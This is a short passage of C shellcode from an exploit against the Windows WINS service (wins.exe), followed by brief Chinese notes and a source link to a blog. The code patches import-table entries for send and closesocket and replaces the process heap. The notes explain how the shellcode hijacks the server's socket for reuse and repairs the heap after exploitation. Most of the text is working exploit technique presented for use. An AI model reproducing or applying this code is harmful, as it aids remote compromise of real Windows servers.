newheap=HeapCreateadd(HEAP_GENERATE_EXCEPTIONS,0x10000,0);
i=*(int *)(0x7ffdf008); // wins.exe address;
j=0;
for(k=0;k<0x30000;k+=4)
{
if(*(int *)(i+k)==sendadd)
{
VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);
*(int *)(i+k)=newcalladd;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);
j^=0x1;
// break;
}
if(*(int *)(i+k)==closesocketadd)
{
VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);
*(int *)(i+k)=newcalladd+5;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);
j^=0x2;
// break;
}
if(*(int *)(i+k)==((int )ptr&0xffff0000))
{
VirtualProtectadd((i+k)&0xfffff000,0x1000,0x04,&l);
*(int *)(i+k)=newheap;
VirtualProtectadd((i+k)&0xfffff000,0x3000,l,&l);
j^=0x4;
// break;
}
if(j==7) break;
}
1、如何复用socket。
因为server有线程不停的接收数据,socket就是找到,shellcode也会和server争强接收数据。
shellcode hook closesocket,exp发送错误数据,server关闭socket,shellcode拦截后得到socket,server也不再争抢数据。
2、堆修复
重新申请一个堆替换默认堆。
来源:http://hi.baidu.com/yuange1975/item/5addd6d07cfde41ad78ed0f2
评论关闭。